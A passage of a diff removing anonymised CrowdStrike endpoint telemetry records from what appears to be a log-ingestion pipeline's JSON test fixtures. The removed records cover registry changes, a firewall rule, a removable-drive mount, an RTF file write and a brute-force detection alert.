*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\25c3c8.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\25c3c8.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\a010c85.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\a010c85.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\0c2f6a2.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\0c2f6a2.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\b214b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\b214b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\b522a4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\b522a4.DLL\\u0000*1\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegGenericValueUpdate\",\"ContextTimeStamp\":\"1761698586.458\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"2090006508607\",\"RegType\":\"7\",\"RegClassificationIndex\":\"430\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"ee0bc2006c367f53b607da1122e\",\"RegClassification\":\"806\",\"Entitlements\":\"66\",\"name\":\"0e92d5a77de501c1f1c9064\",\"aid\":\"52cf03e6cbd930e0081ab561b4366e03\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "52cf03e6cbd930e0081ab561b4366e03",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "RegGenericValueUpdate",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "52cf03e6cbd930e0081ab561b4366e03",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "2090006508607",
-                "thread": {
-                    "id": 98420079085202
-                }
-            },
-            "registry": {
-                "data": {
-                    "strings": [
-                        "1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1"
-                    ],
-                    "type": "REG_MULTI_SZ"
-                },
-                "key": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a",
-                "path": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a\\ee0bc2006c367f53b607da1122e",
-                "value": "ee0bc2006c367f53b607da1122e"
-            },
-            "related": {
-                "hash": [
-                    "3440491101"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "6000088020",
-                "ContextProcessId": "209450604006",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "86",
-                "EventOrigin": "1",
-                "PatternId": "24871",
-                "RegClassification": "40",
-                "RegClassificationFlags": "1",
-                "RegClassificationIndex": "3",
-                "RegObjectName": "\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d",
-                "RegOperationType": "2",
-                "RegValueName": "d4ae4138ea91",
-                "TemplateDisposition": "40",
-                "TemplateInstanceId": "10229",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "46ae86d862c2856f051da60792378c9a659e",
-                "name": "ac9954e67836781b8f5b89ec31d8d"
-            },
-            "device": {
-                "id": "8b6270fbf7dd1d35cb564438ccd92475"
-            },
-            "event": {
-                "action": "deletion",
-                "category": [
-                    "registry"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "46ae86d862c2856f051da60792378c9a659e|8b6270fbf7dd1d35cb564438ccd92475|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"TemplateInstanceId\":\"10229\",\"aip\":\"81.2.69.142\",\"RegClassificationFlags\":\"1\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\4f779032\\\\c7bac469\\\\d598026\\\\1f728162\\\\00d\",\"RegOperationType\":\"2\",\"event_platform\":\"Win\",\"PatternId\":\"24871\",\"EventOrigin\":\"1\",\"id\":\"46ae86d862c2856f051da60792378c9a659e\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegistryOperationDetectInfo\",\"ConfigStateHash\":\"6000088020\",\"TemplateDisposition\":\"40\",\"ContextProcessId\":\"209450604006\",\"RegClassificationIndex\":\"3\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"d4ae4138ea91\",\"CommandLine\":\"54d\\\\9134161b\\\\b169fe25\\\\d528e266.exe\\\"\",\"RegClassification\":\"40\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\d528e266.exe\",\"Entitlements\":\"86\",\"name\":\"ac9954e67836781b8f5b89ec31d8d\",\"aid\":\"8b6270fbf7dd1d35cb564438ccd92475\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "deletion"
-                ]
-            },
-            "host": {
-                "id": "8b6270fbf7dd1d35cb564438ccd92475",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "RegistryOperationDetectInfo",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "8b6270fbf7dd1d35cb564438ccd92475",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "54d\\9134161b\\b169fe25\\d528e266.exe"
-                ],
-                "args_count": 1,
-                "command_line": "54d\\9134161b\\b169fe25\\d528e266.exe\"",
-                "entity_id": "209450604006",
-                "executable": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\d528e266.exe",
-                "name": "d528e266.exe"
-            },
-            "registry": {
-                "key": "\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d",
-                "path": "\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d\\d4ae4138ea91",
-                "value": "d4ae4138ea91"
-            },
-            "related": {
-                "hash": [
-                    "6000088020"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "864",
-                "ConfigStateHash": "2080600092",
-                "ContextProcessId": "1007045000929",
-                "ContextTimeStamp": "2025-10-02T16:56:51.858Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "86",
-                "EventOrigin": "1",
-                "RegClassification": "334",
-                "RegClassificationFlags": "1",
-                "RegClassificationIndex": "718",
-                "RegObjectName": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d",
-                "RegOperationType": "1",
-                "RegStringValue": "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|",
-                "RegType": "1",
-                "RegValueName": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "8f2302b7d2a07c5d5568941494e0368e0144",
-                "name": "24ba14f1e5840e900e581616a2fe"
-            },
-            "device": {
-                "id": "be027d4cbada339f804f9c19f5a2d5a6"
-            },
-            "event": {
-                "action": "modification",
-                "category": [
-                    "registry",
-                    "host",
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "8f2302b7d2a07c5d5568941494e0368e0144|be027d4cbada339f804f9c19f5a2d5a6|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextThreadId\":\"700420809200030\",\"aip\":\"81.2.69.192\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\d621c1\\\\9014a7b3\\\\604dce44\\\\9d9abc6f\\\\e68b36b1\\\\336a62f8\\\\348c576d\",\"RegClassificationFlags\":\"1\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"8f2302b7d2a07c5d5568941494e0368e0144\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\\\9134161b\\\\3a93a12\\\\82be212b\\\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegSystemConfigValueUpdate\",\"ContextTimeStamp\":\"1759424211.858\",\"ConfigStateHash\":\"2080600092\",\"ContextProcessId\":\"1007045000929\",\"RegType\":\"1\",\"RegClassificationIndex\":\"718\",\"AuthenticationId\":\"864\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"RegClassification\":\"334\",\"Entitlements\":\"86\",\"name\":\"24ba14f1e5840e900e581616a2fe\",\"aid\":\"be027d4cbada339f804f9c19f5a2d5a6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "be027d4cbada339f804f9c19f5a2d5a6",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "RegSystemConfigValueUpdate",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "be027d4cbada339f804f9c19f5a2d5a6",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "1007045000929",
-                "thread": {
-                    "id": 700420809200030
-                }
-            },
-            "registry": {
-                "data": {
-                    "strings": [
-                        "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|"
-                    ],
-                    "type": "REG_SZ"
-                },
-                "key": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d",
-                "path": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d\\{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}",
-                "value": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}"
-            },
-            "related": {
-                "hash": [
-                    "2080600092"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "6870020050",
-                "ContextProcessId": "25700434000",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "LogonType": "3",
-                "PatternId": "200",
-                "TotalCount": 4051,
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "2e41e2c0447e07249a69dbdc70a72aec40d4",
-                "name": "35b635ba0a924203f13f0a9f8f7d"
-            },
-            "device": {
-                "id": "a72936ae0acff156c05af8238b6a10eb"
-            },
-            "event": {
-                "action": "RemoteBruteForceDetectInfo",
-                "category": [
-                    "malware",
-                    "authentication"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "2e41e2c0447e07249a69dbdc70a72aec40d4|a72936ae0acff156c05af8238b6a10eb|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"RemoteBruteForceDetectInfo\",\"UserName\":\"\",\"ConfigStateHash\":\"6870020050\",\"ContextProcessId\":\"25700434000\",\"LogonType\":\"3\",\"aip\":\"81.2.69.144\",\"LogonDomain\":\"\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"82\\\\340d600\\\\4a6a0a4b\\\\4cdbc.exe\",\"TotalCount\":\"4051\",\"PatternId\":\"200\",\"ImageFileName\":\"\\\\6ba0bd\\\\257d4e13\\\\d598026\\\\dc9ec376\\\\4cdbc.exe\",\"Entitlements\":\"66\",\"name\":\"35b635ba0a924203f13f0a9f8f7d\",\"EventOrigin\":\"1\",\"id\":\"2e41e2c0447e07249a69dbdc70a72aec40d4\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"a72936ae0acff156c05af8238b6a10eb\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "a72936ae0acff156c05af8238b6a10eb",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "RemoteBruteForceDetectInfo",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "a72936ae0acff156c05af8238b6a10eb",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "82\\340d600\\4a6a0a4b\\4cdbc.exe"
-                ],
-                "args_count": 1,
-                "command_line": "82\\340d600\\4a6a0a4b\\4cdbc.exe",
-                "entity_id": "25700434000",
-                "executable": "\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\4cdbc.exe",
-                "name": "4cdbc.exe"
-            },
-            "related": {
-                "hash": [
-                    "6870020050"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "8090285900",
-                "ContextProcessId": "655070024024",
-                "ContextTimeStamp": "2025-06-30T05:11:02.872Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "IsOnRemovableDisk": "1",
-                "VolumeDeviceCharacteristics": "100402",
-                "VolumeDeviceObjectFlags": "0",
-                "VolumeDeviceType": "8",
-                "VolumeDriveLetter": "4e",
-                "VolumeEncryptionStatus": "0",
-                "VolumeFileSystemDevice": "\\ddc",
-                "VolumeFileSystemDriver": "\\6b634d3d\\7a5851b",
-                "VolumeFileSystemType": "3",
-                "VolumeIsEncrypted": "0",
-                "VolumeMountPoint": "\\e2\\cf8397ea",
-                "VolumeName": "\\6ba0bd\\257d4e13",
-                "VolumeRealDeviceName": "\\6ba0bd\\257d4e13",
-                "VolumeSectorSize": "940",
-                "VolumeSessionUUID": "c8838ad8-1da8-43ae-8c85-3c2309eab164",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "5762ba1aab05fd80cadfb13f146bc3ce868c",
-                "name": "b47570143699a945cde3e5764a9843"
-            },
-            "device": {
-                "id": "6d58dee7855f7a94dc887ec52805de46"
-            },
-            "event": {
-                "action": "RemovableMediaVolumeMounted",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "5762ba1aab05fd80cadfb13f146bc3ce868c|6d58dee7855f7a94dc887ec52805de46|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"VolumeSessionUUID\":\"c8838ad8-1da8-43ae-8c85-3c2309eab164\",\"ContextThreadId\":\"300005906805\",\"aip\":\"81.2.69.192\",\"VolumeMountPoint\":\"\\\\e2\\\\cf8397ea\",\"VolumeDriveLetter\":\"4e\",\"event_platform\":\"Win\",\"VolumeDeviceObjectFlags\":\"0\",\"VolumeFileSystemDevice\":\"\\\\ddc\",\"VolumeIsEncrypted\":\"0\",\"VolumeFileSystemDriver\":\"\\\\6b634d3d\\\\7a5851b\",\"DiskParentDeviceInstanceId\":\"61f\\\\cd4242a2\\\\a3fcbe35\",\"VolumeDeviceCharacteristics\":\"100402\",\"id\":\"5762ba1aab05fd80cadfb13f146bc3ce868c\",\"VolumeDeviceType\":\"8\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RemovableMediaVolumeMounted\",\"VolumeName\":\"\\\\6ba0bd\\\\257d4e13\",\"ContextTimeStamp\":\"1751260262.872\",\"VolumeSectorSize\":\"940\",\"ConfigStateHash\":\"8090285900\",\"ContextProcessId\":\"655070024024\",\"VolumeRealDeviceName\":\"\\\\6ba0bd\\\\257d4e13\",\"ConfigBuild\":\"ad5.4.ae3729d.6\",\"VolumeEncryptionStatus\":\"0\",\"VolumeFileSystemType\":\"3\",\"IsOnRemovableDisk\":\"1\",\"Entitlements\":\"96\",\"name\":\"b47570143699a945cde3e5764a9843\",\"aid\":\"6d58dee7855f7a94dc887ec52805de46\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "device": "61f\\cd4242a2\\a3fcbe35"
-            },
-            "host": {
-                "id": "6d58dee7855f7a94dc887ec52805de46",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "RemovableMediaVolumeMounted",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "6d58dee7855f7a94dc887ec52805de46",
-                "version": "ad5.4.ae3729d.6"
-            },
-            "process": {
-                "entity_id": "655070024024",
-                "thread": {
-                    "id": 300005906805
-                }
-            },
-            "related": {
-                "hash": [
-                    "8090285900"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "BoundingLimitCount": 10,
-                "BoundingLimitDuration": "8486640",
-                "ConfigStateHash": "30820000",
-                "ContextBaseFileName": "6866e9cdd4c02",
-                "ContextProcessId": "600400303060",
-                "ContextTimeStamp": "2025-08-24T04:14:11.353Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "86",
-                "EventOrigin": "1",
-                "FileCategory": "2",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FileOperatorSid": "S-49065-57943-32307",
-                "FileWrittenFlags": "0",
-                "IrpFlags": "0",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "2",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "a6c319e36889013fd1a9cb1e28db73a2d47b",
-                "name": "e5968210c929a23b0"
-            },
-            "device": {
-                "id": "827afde25ba0eeda5d204a68ff612048"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "a6c319e36889013fd1a9cb1e28db73a2d47b|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"FileOperatorSid\":\"S-49065-57943-32307\",\"ContextBaseFileName\":\"6866e9cdd4c02\",\"FileCategory\":\"2\",\"Size\":\"507310\",\"ContextThreadId\":\"1006000509974\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"IsOnNetwork\":\"0\",\"BoundingLimitCount\":\"10\",\"FileIdentifier\":\"f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\dc08d203\\\\6d4a9f57\",\"id\":\"a6c319e36889013fd1a9cb1e28db73a2d47b\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RtfFileWritten\",\"ContextTimeStamp\":\"1756008851.353\",\"UserName\":\"352ad1966\",\"ConfigStateHash\":\"30820000\",\"ContextProcessId\":\"600400303060\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"830\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"BoundingLimitDuration\":\"8486640\",\"Entitlements\":\"86\",\"name\":\"e5968210c929a23b0\",\"OperationFlags\":\"0\",\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\64fdf48d.~BT\\\\104a\\\\d\\\\d598026\\\\ddd203\\\\92391c8a.3007_none_7afbc84558a5a401\\\\f76eee64.rtf\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "device": "835\\dc08d203\\6d4a9f57",
-                "directory": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401",
-                "extension": "rtf",
-                "inode": "f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8",
-                "name": "f76eee64.rtf",
-                "path": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401\\f76eee64.rtf",
-                "size": 507310,
-                "type": "file"
-            },
-            "host": {
-                "id": "827afde25ba0eeda5d204a68ff612048",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "RtfFileWritten",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "827afde25ba0eeda5d204a68ff612048",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "600400303060",
-                "name": "6866e9cdd4c02",
-                "thread": {
-                    "id": 1006000509974
-                }
-            },
-            "related": {
-                "hash": [
-                    "30820000"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "user": [
-                    "352ad1966",
-                    "S-49065-57943-32307"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-49065-57943-32307",
-                "name": "352ad1966"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "770065302",
-                "ContextProcessId": "9083291189505",
-                "ContextTimeStamp": "2025-09-10T02:09:38.153Z",
-                "DesiredAccess": "106086",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "ExtendedKeyUsages": "1",
-                "FileSigningTime": "1653525170.000",
-                "KeyObject": "70075630231265270000",
-                "PublicKeys": "0",
-                "RegCreateDisposition": "2",
-                "RegCreateOptions": "0",
-                "RegPostObjectName": "\\85aaee17\\eb92252\\be8\\be8\\ced6771\\7e1b0d5",
